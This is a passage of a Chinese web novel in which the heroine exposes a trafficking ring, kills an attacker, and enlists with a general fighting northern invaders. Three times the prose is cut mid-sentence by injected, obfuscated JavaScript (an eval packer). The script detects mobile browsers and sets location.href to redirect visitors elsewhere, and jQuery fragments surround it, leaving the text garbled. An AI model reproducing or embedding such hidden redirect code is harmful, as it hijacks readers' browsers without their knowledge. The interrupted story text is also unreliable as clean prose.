摸不清他们的底细,还要有证据,那就以身入局,把事情弄大,到时候迫于社会压力,府衙不会不管。 她将一把剔骨尖刀磨快藏在身上,装成逃难之人,在偏僻的小巷里转了两天,终于遇到了莺儿说的人贩子。 一个留着八字胡须的男子上前搭讪:“姑娘,这是去哪里呀?” 沈明月似是见到亲人般,上前说道:“大叔,请问这里可有一户姓张的人家?我是投奔亲戚来的,未想在此迷了路。”说完便要掩面哭泣。 人贩子将八字胡须一捻,眼中闪过一丝亮光,笑道:“姑娘莫哭,你真是问对人了,他家原是我的邻居,今日他们搬去了西城,我这就带你去寻。” 沈明月抽泣道:“我在此人生地不熟,劳烦大叔了。” 二人行至西城,到了一处院落的后门,沈明月暗中观察四周,竟看见那个馄饨摊老板的身影,原来这是此前她寻人的院子。 进了院子,八字胡须跟一个妇人交代了几句,妇人笑盈盈地迎上来:“老张未在家,姑娘先随我去喝口水安歇一会儿。” 她边说边上下打量着沈明月,拉过她的手摩挲后,稍稍皱了眉头。 沈明月明白,这大抵是在查验她的手指,看看是不是做过粗活,看来这妇人对她并不满意。 妇人领她至屋内,倒了一碗茶来,那茶碗里竟还浮着两颗红枣,接过茶后她笑道:“多谢姐姐,我走了一身汗,等茶凉一些再喝。” “真是个嘴甜的姑娘,你才多大?我的年纪都可以做你的妈妈了。”妇人心下满意,这姑娘会说话、模样又不错,好生调教必有出息。 沈明月夸赞道:“姐姐别骗我了,您看起来也就三十。” 那妇人被这甜言哄得合不拢嘴,催促她快些喝茶,然后借口有事出了屋子,可却未走远,自院内隔着窗户监视她。 沈明月确认了一下匕首无误后,便端起茶杯以袖遮掩,将半杯茶倒进了袖子,之后便假装劳累,蜷在座位上闭眼小憩。 果不其然未出一刻钟,便有人进来,听脚步声还不止一个,来人推了推她,而后听到那妇人的声音:“年轻的小姑娘还真是好骗,你们俩把她带到偏房去吧,捆手腕时候仔细点,别弄破油皮。” 继而她被人捆了手腕、脚腕,抬到了另一个地方,待听到关门声后她睁开眼睛,只见身处一间堆满杂物的房子,这里地面发潮一股霉味,窗户被遮挡得严实,应该十分隐蔽。 屋里还有两个女子,皆被捆住手脚,其中一个小个子的女子泪痕未干,嘴被破布堵严严实实,另一个靠在麻袋上的女子,抬头看了她一眼后又靠了回去,似乎是认命了。 此时已至日暮十分,估计很快就有人来将她们带走,沈明月要尽快将这两个人带出,此后到了官府她们便是人证。 她手上绳子绑得并不紧,使劲挣脱便开了,又解开脚上的绳子,走到那两个女子跟前,比一个噤声的手势,小声说道:“不要出声,我带你们出去。” 被堵着嘴的女子难以置信地看着她,嘴里的破布被拿掉后,眼泪又流了下来,“咱们能出去?外面有好多人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350335|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >另一个女子眼中闪过一瞬惊讶,而后说道:“别白费力气了,被捉回来,受的罪更大。” “不试怎么知道不能逃出去!”沈明月将她们的绳子解开,安慰道:“别怕,我带你们出去,你们只管跟着我。” 说罢去检查门,果然上了锁,三人搬开杂物跳窗而出,沈明月掏出火折子,轻吹了一下后扔到了杂物堆里,带着二人顺原路逃走。 行至院内,后面传来女子的呼喊声:“啊……救命!” 沈明月回头,只见两个壮汉分别捉住了那两个女子,她飞身上前,当胸一脚,狠狠踢向离得近的壮汉,壮汉吃痛倒退几步。 另一壮汉见状松了手,一起来对付她,一番格斗她落了下风,便掏出匕首来,却听见之前的妇人大呼:“走水了,快跑、快跑。” 之后那妇人也不管众人,一溜烟地不见了人影。 寻声望去,果见院角浓烟滚滚,这火烧得正是时候,只要有人来救火便能被发现,现在只要拖住他们等人来。 沈明月毫不犹豫地追上去,将匕首划向壮汉的大腿,壮汉大喊一声倒地,伤了腿,想跑也跑不掉。 她又将匕首掷向另一个壮汉,恰好那壮汉回头,匕首正中其胸口。 那壮汉口吐鲜血,倒地身亡。 糟了,下手狠了,沈明月心头一凉,这下她成杀人犯了。 正院大门被撞开,外面纷纷嚷嚷,隔壁人家怕火顺着房檐窜到自家,急着招呼众人救火,但见院内一伤一亡,便立即有人去报官。 接着进来了一群黑衣人,这黑衣,沈明月再熟悉不过,是那纨绔的人,他们怎么在这里? 为首的黑衣人检查了伤者和死者,便命令将三个女子带走,刚出院门又遇见了官府的衙役和来救火的司耀队,一时间场面混乱不已。 衙役拦着侍卫不让走:“你们是什么人,事情未调查,怎可将人带走?” 侍卫:“营州城防办案,谁敢阻拦。” 衙役听完嘲笑起来:“城防负责防守,何时负责办案了?再说你们将军那德行能办得了案?莫不是抢这几个女子来了吧。” 说完众衙役哈哈大笑起来。 侍卫见他们竟然如此侮辱主上,面带怒气紧紧握住手中的刀,说道:“将军有令,将人带回。” 衙役并不退让:“里面死了人,府衙要先审案子,快将人交给我们。”说着伸手指向沈明月:“尤其是这个女子,杀人嫌犯,你们更不能带走。” 沈明月木木地看着一切,心乱如麻,一时想到了府衙该如何自辩,一时又想纨绔为什么会抢人,看见衙役指着自己说话,才发现自己的手上和衣裙上都沾上了鲜血。 正当两拨人争执不下时,徐铭持令牌赶到,衙役们见到令牌后互相看了一眼,纷纷跪地叩首后将路让开。 沈明月被侍卫押着离开,离远了众人,徐铭借故审问凶手将她单独带了出来,关切地问道:“真的是沈先生,我还以为是他们传错话了。” 沈明月心有余悸,整理着思绪:难道他们是为我而来,可开门之前他们应该并不知道我在里面,或许是他们在监视我,所以知道我的动向,可他们也不至于为了我和府衙作对…… 怎么想都不合逻辑,人群渐远,可耳畔依旧是嘈杂的嗡鸣声,徐铭还在说着什么,她却一点也听不到,麻木自手脚而起,眼前像是被雾气笼罩,渐渐模糊不清,再迈一步,忽觉脚下踩空坠入了万丈深渊。 8. 和解 “沈先生……沈先生……” 呼唤如同远处的风声,似有若无,沈明月在一个香软的怀中恢复意识,睁眼就见面若桃花的海棠正眉头微蹙。 “我没事……多谢……”她自海棠怀中起来,发现自己已在马车上,那纨绔坐于主位上看着她,眼底略带一丝疑惑。 海棠解开披风欲给她,顾洲见海棠里面衣衫薄透,便将自己的披风递上,并示意她下车,海棠做好一切看了一眼顾洲后离开。 沈明月发髻松散、面色苍白、双目空洞而无助,双臂紧紧抱住两肩,蜷缩成一团,宛如一只受伤的小老虎。 见她这副害怕的模样,顾洲言语中带着些讥讽:“没想到沈先生也有怕时候?” 沈明月内心的不安难以言喻,只听见了说话声,却未听清他的揶揄,她抬起头问道:“依你们这里的律法,过失杀人会判什么罪行?” “依律当斩。” 她心底涌起一丝恐惧,冰冷的手指紧紧地抓着衣衫,将自己抱得更紧一些,坦白道:“我伤一人杀一人,救女子二人。” 顾洲并不理会,只问道:“你为什会在这里?” “说这些还有什么意义。” 这声音飘忽,听不真切,顾洲以为她是真的害怕,饶是她性子再坚韧也终究只是个小姑娘,于心不忍地安慰了一声“不要怕”。 怕?有什么可怕的呢? 这又不是第一次杀人,她杀过许多人,但那些都是侵略者,她畏惧的难道是死亡?可她也是死过一次的人了,可为何她还会畏惧?大约是如今这和平安宁的人世间让她留恋。 马车没有停的意思,沈明月掀开车帷,外面一片漆黑,隐约可见院墙,应该是走的小巷,她不解:“你要带我去哪里?你应该将我送去府衙。” 顾洲没有回答,沈明月也没有追问,车内陷入沉寂,空气好似凝固了一般,只听见外面对车轮声和马蹄声。 沈明月闭上双目,弯下腰将头埋在膝盖间,反正已经这样了,听天由命吧。 约一刻钟后,马车停下,她身形一动才从思绪中出来,听见外面传来徐铭的不大声音:“主上,到了。” 顾洲对她说道:“下车,这几日不要出门。” 下车?不要出门?这是什么意思?沈明月反应有些迟钝,她再次看看向车外,确定已到了家门口,莺儿正站在那里焦急地看着马车。 这难道是要放了她?她向纨绔投去疑惑的眼神,只见纨绔对她点了一下头。 她于恍惚中下了马车,莺儿赶紧上前扶住大姑娘,带着哭腔说道:“姑娘你去哪里了?怎么这么烫?” 沈明月却只感觉到周身寒冷,如坠冰窟一般,脚步飘忽如在云端行走,实在走不动了就倒在一片云上,她只觉十分疲惫,想好好睡上一觉,可周围的云却化作一把把大刀悬于头上,她想拼命地跑却使不上一点力气,突然大刀一起落下,快要砸到她时,她惊醒过来。 莺儿见姑娘醒来,高兴极了,皱着的眉头舒展开,边为她擦汗边说道:“姑娘……你总算是醒来,你已经昏睡三日了。” 她看看照进窗户的日光,又看着莺儿焦黄的脸和黢黑的眼圈,才相信原来睡了这么久。 “姑娘真是吓死奴婢了,海棠姑娘的药真是管用,她说姑娘今日能醒,果然就醒了……姑娘想吃些什么?奴婢这就去做。” 还未及沈明月问什么,大门处传来敲门声,莺儿忙理了理鬓角去开门,一看竟是徐铭拎着菜蔬来探望。 他一见莺儿便说道:“你怎么这般消瘦了,沈先生醒了吗?” 莺儿听了这关切的话不觉红了脸,低头小声说道:“你来到正好,姑娘刚醒。” “我去看看先生。”徐铭说罢,将东西塞到她手中,径直朝屋子走来。 “你且等等。”莺儿将菜蔬放下,打了水为姑娘简单梳洗后方才让徐铭入内。 沈明月想坐起身来,却没有力气。 徐铭忙说道:“先生勿动,我今日是来告诉先生,此事已过,先生此后可放心了。” “什么?为什么?怎么处理的?”沈明月声音沙哑,勉强说出这几个字来。 莺儿端水来交给徐铭,他笑着接过,喝了一口说道:“主上亲自处理此事,确保万无一失。” 沈明月被莺儿喂了几口水嗓子才好了一些,问道:“当日到底是怎么回事,你们为什么会出现在那里。” 徐铭有些为难,放下杯子:请沈先生不要问了,有些事我不方便说……” 他目光瞥见莺儿出去,赶紧说道:“先生,今日我无处去吃饭,还请先生赏顿饭。”说完也不等她同意,脚步便追随莺儿去了。 徐铭的一番话并没有让她放心,而是疑惑更甚,到底是什么原因,让那纨绔竟然愿意帮助她,现在她已没有什么利用的价值,如此借刀杀人,处理了她不是更好吗?难道真的如徐铭所说,是她误会他了? 外面徐铭有说有笑,莺儿却只低头不语,徐铭的心思遮掩不住,可她却并不看好这二人,心下不免隐隐担忧。 徐铭的到来,倒是冲淡了院内凝重的氛围,饭后沈明月注意到他身体似乎不自在,追问下他才说出实情:“被主上责罚了鞭刑。” “你又调皮了?”沈明月无奈。 “那倒不是,是……”徐铭欲言又止。 “那是什么?” 徐铭挠挠了头:“是我未将先生复仇之事及时上报,才酿成此祸,我原以为先生只是说说而已,你们两个弱女子能有什么办法,却不想先生这么快就行动了。” “我自是有仇必报、有恩必还之人……”沈明月看来一眼徐铭,谨慎地问道:“你们是不是在监视我?他为什要问你我的事?” “不,不是,是那日正抓捕细作……”徐铭说完才发现说漏了嘴,急忙捂住,而后说道:“先生就当我什么也没说,我先告辞了,先生好好休养。”之后行礼快步离开。 沈明月没有精神再去追问详情,问了他也不一定说,就这样吧,人生哪有不糊涂的。 休养了几日后,沈明月继续出门摆摊,几日未见她,街坊都追问她缘故,她只答病了几日未能起身,之后便有人送来鸡蛋红枣等补品,令她好生感动。 当日,一个常找她读信的老妇人与她闲聊,说起近日城中新闻,衙门端了一个贩卖人口的窝点,解救了几个女子,真是大快人心,如此她家的小孙女可以独自出门了。 这人贩子已经十分猖狂了到了这种地步,如此也算是为民除害了,她心中算是松了口气。 既是为民除害,便可功过相抵,又想起那纨绔说的“依律当斩”,估计也是骗她的话,然而自己居然上当了,真是可恶。 未几日,营州城里又出了一件大事:营州州牧因玩忽职守、收受贿赂、包庇秦香楼贩卖人口等罪责,被判流放千里,秦香楼因藏匿细作被查封。 如此一来,沈明月便明白了,那日纨绔的侍卫的确是去抓细作,大概细作就在那两个女子中间,而她只是恰巧又在那里而已,若没有她,他们的行动也许会顺利进行。 她心想:这纨绔虽然荒唐却也正直,不管怎样,也算他救了她,若有机会还是要跟他道声谢。 想到道谢,她才发现这纨绔多次救她、助她,而她竟然还不知道他的姓名。 日子似乎回归正轨,可沈明月却发现有些不一样,观音庵里上香的人越来越多,写信的内容也越来越不太平,来城中也多了许多陌生的面孔,一问才知皆是从北边来投奔亲戚的,看来是北境的危机已不容小觑。 入伏后天气潮热,这日沈明月早早收了摊,打算回去好好沐浴一番,未料半路上被海棠拦了下来:“沈先生,我家主上有请。” 虽然沈明月知道欠他声感谢,但还是心中打鼓,他不会是要携恩图报吧,于是试探着问道:“他要见我?在哪里?” 海棠目光示意她看向街边茶馆的二楼,果见那纨绔坐于窗边喝茶。 她没有立即上楼,万一他耍什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350336|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么花招,在密闭空间里不好逃脱,于是她说道:“里面太热了,我在后面河边的亭子里等他。”说罢也不等海棠同意,抬脚便走。 太阳离地面还有丈余高,日光被揉碎在水波中有些晃眼,沈明月于亭子中看杨柳低垂,身后响起纨绔的声音:“沈先生。” 沈明月转身,只见他长身玉立,挺拔如松,日光穿过飘荡的柳枝,明灭于他的玄色衣袍上,乍一看,端然翩翩君子范,可寒星似的双眸中却带着些许惆怅。 若不是亲眼见过他是什么德行,怕是真会被这俊逸的外表迷惑,沈明月心中虽不屑,但还是欠身行礼:“将军叫我沈明月就好,上次的事,多谢将军的救命之恩,不知将军此番前来,所谓何事?” 顾洲坐下来,说道:“想问问沈先生如此聪慧,为何会被拐卖。” 沈明月也坐了下来:“一时疏忽大意。” 顾洲未留情面直接戳穿:“怕不是先生以身入局吧。” 竟然被他猜到了,沈明月不打哑迷了,坦然道:“既然将军都猜到了,还来问我做什么?我也是没有别的办法,普通人力单势薄,若不如此,我和莺儿以及这营州城内的女子,会一直有危险。” 不想一个小小的女子竟有如此勇气和力量,顾洲微微有些佩服她:“你可曾顾虑过自己的安危?” 沈明月自嘲一笑:“一时失手罢了,若得天下安宁,我死不足惜。” 听闻此言,顾洲微微一怔,随后有些想笑,那日是谁怕得要命,他轻咳一声来掩饰情绪。 但是敢说出这番话来的人少之又少,即便是朝中文臣武将也不会轻易说出,而她就这样说出来了。 良久他问道:“沈明月,你究竟何人?” 沈明月起身,隔着栏杆看亭下流水,缓缓说道:“我不知将军经历过何事,竟疑心如此之重,我劝你活得简单一些,不要把人看得复杂,我是何人?我也不知道,我只不过是被时间遗忘,遗留在这世间的一缕孤魂罢了……我早说过我只想安稳地活下去,此外再无他求。” 也许真的是将她看得太复杂了,顾洲亦起身来到亭边,负手而立,“还是希望你以后不要涉险……我此番是来告辞的。” 特地来送别?这纨绔倒是讲究,沈明月随即想到这几日城中的境况,便问道:“你是要去北境吗?” 话一出口她便后悔,此人疑心深重,不该如此窥探他的秘密。 果然顾洲略带戒备地问道:“你如何知道?” 果然如此,沈明月干脆直言不讳:“近日来,城中流民渐增,想来是为了躲避战乱,但朝廷并未有征兵之举,大约战局还在可控范围之内,边关百姓已受兵灾,你身为营州守将,不会坐视不管。” 她的一番推测倒是说对了大半,但朝廷至今未出兵却不是因为战局可控的原因,而是朝局刚刚稳定了这几年,国力羸弱,朝臣多主张对内休养生息、对外止兵息战,以谈判的方式换取和平。 但谈判有何用,北蛮人依旧猖狂,顾洲此次出兵并无朝中旨意,他心中总是在犹豫此举是否正确,身边的人多劝他不要一意孤行,毕竟他现在的处境艰难,想置他于死地的人太多,踏错一步便是万劫不复。 可眼见北境疆土被侵,百姓受难,他心有不忍,思量了几日还是选择了出兵。 只是做出决定之时,见到了沈明月的帕子,便想来见她一面,或许她能助他一臂之力,但听完她说“只想在这世间安稳地活下去”后便打消了这个念头。 君子不强人所难,不夺人之美,他只说道:“愿你能如心中所愿。” 沈明月见他未说战局,只是莫名地来了一句祝福,便知该结束这谈话了,于是说道:“祝将军旗开得胜,若无他事,告辞。” 战场上刀枪无眼,她希望这纨绔能平安无事,忽而她才发现她还没问他的姓名,唉,算了,本就是萍水相逢,如今一别,怕是无缘再见。 想到此处,她转身回眸,只见那一抹身影笼罩在斜阳下,无限孤独。 9. 从戎 夜色溶溶,黝黑的夜幕上缀着点点繁星。 沈明月沐浴后坐在院子里乘凉,虫鸣与花香交织,静谧的氛围让她有些困倦,朦朦胧胧间只觉眼前一闪,接着便是轰鸣声,风中带来烟火味道,睁眼只见天空被一片漆黑遮盖。 是炮弹,快隐蔽!她心中一惊,猛然坐起身来,待看见莺儿手持燃烧的艾草条向她走来,才醒过神来,原来是暴雨将至。 “姑娘是睡迷糊了吗?快下雨了,进屋吧。”莺儿刚用艾草熏完屋里的蚊虫。 沈明月揉了揉眼睛,回想刚才心有余悸,仿佛是回到了战火四起、硝烟蔽日的战场。 她没有动,而是躺回摇椅上,看着空中的电闪雷鸣,陷入了回忆。 上一世外敌的侵略已让民族陷入生死存亡之地,中华大地上用尸横遍野、千里焦土来形容一点也不为过,挽救民族危难是每个国人义不容辞的责任,为此,她的的亲人、她的战友以及她自身都作出了巨大的努力的牺牲。 这一世,她虽不是这个朝代的子民,但她终究享活在这个朝代之下,而这片土地依旧是华夏大地、人民依旧是炎黄子孙,覆巢之下,焉有完卵,若营州陷落,她又将陷入流亡。 或许她可以做些什么,这个念头在她心中升起。 一夜暴雨如注、一夜心绪难宁,终于熬到了天亮,窗外渐渐亮起来,朝霞染红了半边天空,红日冲破云层发散出金灿灿的光辉,让人不能直视,就在这一刻,她心中做出了选择。 “大早起的日光就这样刺眼,今天怕是又要热一天呢,姑娘今日就别出去了,当心中暑。”莺儿说着为沈明月盛了一碗粥。 她接过,用勺子搅动着,问道:“莺儿,《千字文》上的字都学会了吗?” “都学会了,昨日王婶还让奴婢帮她读信来着。”莺儿骄傲地说道。 安顿下来后大姑娘就开始教她读书识字,虽然大姑娘严厉些,但严师出高徒,这么短的时间就将一本《千字文》学完了。 沈明月喝完粥,说道:“今日你同我一起出摊,今日读信写信的人太多,我忙不过来,对了,出去只说你是我妹妹,也不要总是奴婢奴婢的。” 莺儿一听可以帮到姑娘,很是高兴,但又有些担忧:“出去倒好说,只是奴婢……我怎可与姑娘论姐妹。” “怎么?姑娘我不能做你的姐姐吗?快吃,吃完咱出发。”沈明月说完自去收拾笔墨。 摊位上,沈明月将注意事项一一交代给莺儿,又将她介绍给了观音庵的僧人及周边街坊,众人见莺儿乖巧可爱,很快与她熟络起来,甚至有婶子拉着她的手问她是否婚配,皆被沈明月笑着敷衍过。 午时火辣辣阳光无遮无拦地洒在大地上,空气中弥漫着灼热的气息,将一切生机剥夺。 人已散尽,二人收了摊,就近找个小食摊,打算吃完饭就回家,将手头的书信写带回去书写。 刚刚坐下,一个灰头土脸之人走到了摊位旁,看着锅里的馒头欲言又止。 摊主一看便知他身上无银钱,驱赶道:“快走、快走,别把你身上的土掉在锅里。” 沈明月瞥了一眼那人,只见他面黄肌瘦,一看就是长期营养不良,衣衫虽破旧却也整洁,虽然饥饿却也未行抢夺之举,想必也是正经人家出身。 那人咽了咽口水离开,没走几步脚下不稳摔了一跤,应是太饿的缘故,沈明月见他行动艰难向他走去,边走边对摊主说:“老板,来四个馒头,再加一碗面、两个鸡蛋。” “好嘞!”摊主痛快地答应下来,麻利地擀的面条来。 沈明月扶起那人,说道:“过来一起吃口饭。” 那人起身拍拍土,对她行礼一礼后说道:“多谢姑娘,但无功不受禄……” 还真是个酸腐的文人!都快饿死了还说这些没用的,她心中虽嘲讽他,但还是说道:“先吃饭,吃完帮我办件事。” 那人面露惊讶:“在下一无所长,不知何事能帮到姑娘?” 原是诓他的话,不想此人竟认真了,她只得继续往下编:“你会写字不?吃完饭帮我写封信。” 那人听完再行一礼,连声道“好说、好说”,之后便坐于桌旁吃了起来,他虽是饿急了,但吃饭时却也斯文,不多时面前只剩下了两个馒头。 他将碗筷摆好,问道:“姑娘要写信给何人?可有笔墨?” “不急,不急,看你也不想是乞丐,逃难的?” 那人自我介绍道:“在下姓朱名文,字尚明,营州四合人氏,来此投奔姑姑,不想姑姑已故,家人不知搬向何处,故而走投无路,流落至此。” “为何不回乡?” “唉……”朱文长叹一声:“家乡已被北蛮人占领,全家二十多口人惨遭屠戮,我在外求学方躲过一劫。” “北境战事已经如此严重了?”沈明月有些不敢相信,毕竟现在的日子看不出什么战乱的苗头来。 “姑娘还不知?北蛮人觊觎中原久已,此番蚕食国土,掠夺财物,杀人无数,更有甚者将女子掠去,先交亵后杀之,并牛羊肉同煮而食之,实在惨无人道。边患已然严重,然则朝廷竟还一味求和,而不知用兵,不知这大齐的天下还能支撑几日。”朱文边说边连连摇头。 “慎言、慎言,当街论政,恐引灾祸。”沈明月小声提醒他并向四周看了看,幸而此时无人。 “我孤身一人还有什么怕的,只恨我寒窗十几年,上不能报效国家下不能侍奉父母,真是枉读了圣贤书。”朱文诉说着心中的不甘,双手紧握成拳头。 “如何不去从军?”沈明月又问。 朱文抬起干瘦的双手,自嘲地笑地:“且不说我手无缚鸡之力,即便是从了军又能如何?朝中无出兵的旨意,谁敢妄动?” “你是说朝中无出兵的旨意?”沈明月向朱文确认,她突然想到了那纨绔,他竟是擅自用兵、抗旨而为,此番不管是输是赢都难逃罪责,怪不得他来向她道别,大约是已做好了不归的准备。 “若有旨意,何至于到了现在这般境地。”朱文的话打断了她的思绪:“对了,信件内容可否告知在下,在下这就为姑娘书写。” 看来行动刻不容缓,明月无心再与他攀谈,掏出今日所得塞给他,说道:“这些银钱你且收下度日。”说罢便带着莺儿离开。 朱文起起身叫道:“姑娘且慢,唉!姑娘的信还没写呢……还不知姑娘芳名……” 他眼见这女子头也不回地转入了巷子,也不好在大庭广众之下追逐,只得停下脚步。 摊主却说道:“你这穷酸鬼可是遇到好人了,这是观音庵旁边写字的沈先生,听说闺名唤作沈明月。” “沈明月”朱文重复着这个名字,低头看着手中的钱袋,心中感叹:沈明月,我欠你一个人情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350337|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿荫中蝉鸣声此起彼伏,回荡在沈明月的小院中,她回来之后没有休息,而是完成今日的书信订单,莺儿一边磨墨一边半眯着眼睛点头,终是忍不住伏在案几上睡了过去。 她没有将计划告诉莺儿,本打算等莺儿能够接手摊位后再走,但似乎已没有那么多时间,她要尽快将手中的单子完成,明日就离开。 第二日,她借口还有订单没有写完,先让莺儿去出摊,并反复叮嘱她拿好钥匙,之后简单收拾了几件衣服,留下了所有银钱和一封信后锁门而去。 一路行至城门口,此处已架起路障,控制流民入城,不远处的城墙根下坐了一排衣衫褴褛的流民,看到这些她不禁加快了脚步。 烈日当头,在湛蓝的天空中释放着无法抵挡的热度,她走到大营门口时,额头上已渗满了晶莹的汗珠。 大营辕门处只有四名军士驻守,在热气的逼迫下似乎有些发晕,其中一个催促着在旁边纳凉的军士换岗。 军营重地,并不是谁想进就能进的,军士见有闲杂人在外徘徊便上前来驱赶。 沈明月与大营守卫只说找将军,却也说不上来找哪位将军,军士见她一弱女子,只当她无理取闹理也不理她。 她又说找徐铭或者海棠,军士也只说不认识,催促她快些离开,见她不走便上前想架起她来送走。 一个军士刚伸手,反被她抓住手腕使劲一拽,肘部脱臼,剧痛使这军士倒地哀号,其他军士见状纷纷拿起武器将她包围起来。 这动静自然惊动了大营内,不多时徐铭便赶来,确认是沈明月后立即疏散众人。 “误会、误会,都散了。” 他将沈明月带至僻静处,看着她热红的脸,真担心她被热晕过去,“沈先生有什么事吩咐我就行礼,怎么还擅闯大营呀!” 沈明月一边擦汗一边说道:“你们神出鬼没的,我去哪里找你?” 徐铭委屈地说道:“我给莺儿留了联系方法呀!先生到底有什么事?” “我来投军。”沈明月说得简单明了。 “什么?”徐铭简直要惊掉下巴:“先生快别开玩笑了,我送先生回去。” “带我去见你家主上。” 徐铭见她态度坚决,不像是开玩笑,便说道:“主上正在议事,先容我去回禀。” 二人又来到大营正殿外,听得里面那那纨绔说道:“我意已决,无需再议,继续给京中上书。”接着传来摔东西的声音,之后几个副将从内退了出来。 徐铭在门口悄悄探头,却听得纨绔骂道:“什么事?滚进来说。” 沈明月看着这情形,忽觉与其和这样的人共事,不如自己拉队伍闹革命,只可惜她赤手空拳何其艰难。 她正鄙夷着那纨绔,徐铭便蔫头耷拉脑地请她进去,并小声说道:“先生说话小心些,主上正在气头上。” 沈明月进了殿内,只见地上散落着几册书卷,那纨绔背对着她、负手而立,手中握着一折文书。 她拱手为礼:“将军。” 顾洲闻声转身,见她背着包袱从容而立,想到她昨日一番言论分析,愈发觉得她不简单,戒备又上心头。 他佯装不知,将文书置于案几上,坐下来问道:“沈先生何故而来?” 沈明月见他眉头紧锁,愁容满面,猜想他是因为出兵一事而烦忧,便说道:“在下来解将军之忧。” 10. 解忧 顾洲眼中闪过一丝疑惑,但随即平复,似笑非笑地问道:“那你倒是说说,本将军有何忧?” “师出无名!” 沈明月此言一出,如惊雷落地,顾洲心中一颤,后日出兵的计划定下来还不到一刻钟,即便是泄露消息也需要几日,她如何知晓得这么快?除非她就在当场。 他仔细回忆了一下那日与她见面时说过的话,那时她猜到他要去北境,但并未多言其它,她怎会知道是私自动兵。 一个小女子竟然对朝堂政事如此敏感,怀疑的火苗再度燃起。 事已至此,他不再试探,开门见山地问道:“你是如何知晓的?” “既然将军也唤我一声先生,我自然是能秀才不出门,便知天下事,否则岂不是辱没了这先生二字。” 当真是这样吗?顾洲狐疑地收回目光,假装镇定:“那不知沈先生有何高见?” 可沈明月早已捕捉到他眼中一闪而过的戒备,没有直接提出兵一事,而是说道:“北境匪患丛生,危害百姓安宁,更有狡猾者,扮作北蛮人烧杀抢掠,将军此番出兵剿匪,有功于社稷,有功于天下。” 顾洲听到“匪患”二字,便觉茅塞顿开,又听到“匪患扮作北蛮人”等话便知她是何意,表面剿匪、实则驱敌,杀了北蛮之敌也可说是误伤,果然是好主意! 他神色略有缓和:“好一个偷梁换柱的诡辩之术。” 沈明月见他已然明了,赞叹了一句:“与聪明人讲话就是容易。” 她这般坦然反倒让顾洲有些不解,但她今日来,真的只是为了说这些吗,无利不起早,她一定还有别的目的。 他也不啰嗦,站起身来直言:“你主动帮我,是为了什么?” 这纨绔还真是利欲熏心,沈明月冷笑一声,目光从纨绔身上移,透过一片虚无,似乎看到了熊熊燃烧的战火。 “相共凭栏惊风雨,不做神州袖手人。我不是帮你,我是在帮众生,若非说我是为了什么,那就姑且算我想借将军的兵,求得一个安稳的生活。” 顾洲有些动容,这个理由虽然泛泛,但却有道理,皮之不存、毛将焉附,不想她一介女流之辈竟有如此高的格局。 但他没有表露,只说道:“女子从军未有先例,此事我还需再考虑考虑。”说完将徐铭唤进来,吩咐道:“带她下去休息。” 沈明月倒也不沮丧,行礼告退,她既然勘破了这纨绔的心事,便是上了贼船了,依他多疑的性子,断不会再让她离开。 顾洲看着京中发来的不准开战的旨意,陷入沉思,此前他的确动了问沈明月对出兵一事的看法的念头,但碍于各种原因,终是没有开口,如今她主动来投诚,态度又这般诚恳,可见此人的确是行事坦荡之人。 思索良久,他决定赌一把,赌沈明月真的是只是为了天下安宁,于是写下了一道文书。 随后唤进海棠,吩咐道:“沈明月此后从军,你去安排她的起居。 海棠有些担心,“主上是不是再考虑考虑,毕竟还没有查到她的身世,属下恐她是晋王或秦王的人。” “若真是,那她的耐心也太大了,付出的代价也太高了……”顾洲内心依旧有矛盾,或许真的是他太谨慎了,可这些年他吃过的暗亏由不得他有任何大意。 他补充了一句:“监视好她……让徐铭来见我。” “是。” 海棠找到沈明月时,徐铭正劝她快回去,这军营不是女子该来之地。 “主上要见你。”海棠对徐铭说完又对沈明月说:“你随我来。” 沈明月追问为什么,海棠却只管将她带到了自己的住处,“军中无其它女子,你以后与我同住。” 这命令似的语气让沈明月十分不悦,好歹也教过她几天,不说一日为师终身为母的h,最起码的尊重到该有吧! “这是让我留下了?” 海棠未语,径直打开了门。 这个住处离大殿不远,是个精巧的小室,一道美人观花戏鸟五扇屏风将室内隔成两间,外间有桌椅案几,里间则是起居室,架子床上纱帐垂幔,美人榻上锦绣罗衾,妆镜台上胭脂水粉,更像是大户人家闺阁女子的住处。 沈明月转身看看海棠,却见她窄袖黑衣,面上粉黛不施、发间只簪了一根木簪,又想到她那妆后娇俏的样子,想必这些都是伪装的工具吧! 这么会演戏,可真是干特工的好料子。 不过就连住处都装饰得这样好,一定是那纨绔的意思,毕竟他们二人的关系似乎不一般。 如果是这样,那她住在此处就太不知好歹了,于是找了个借口推辞道:“多谢姑娘好意,但是我有时睡得晚,恐打扰到姑娘休息,还劳烦姑娘另找一间房屋。” 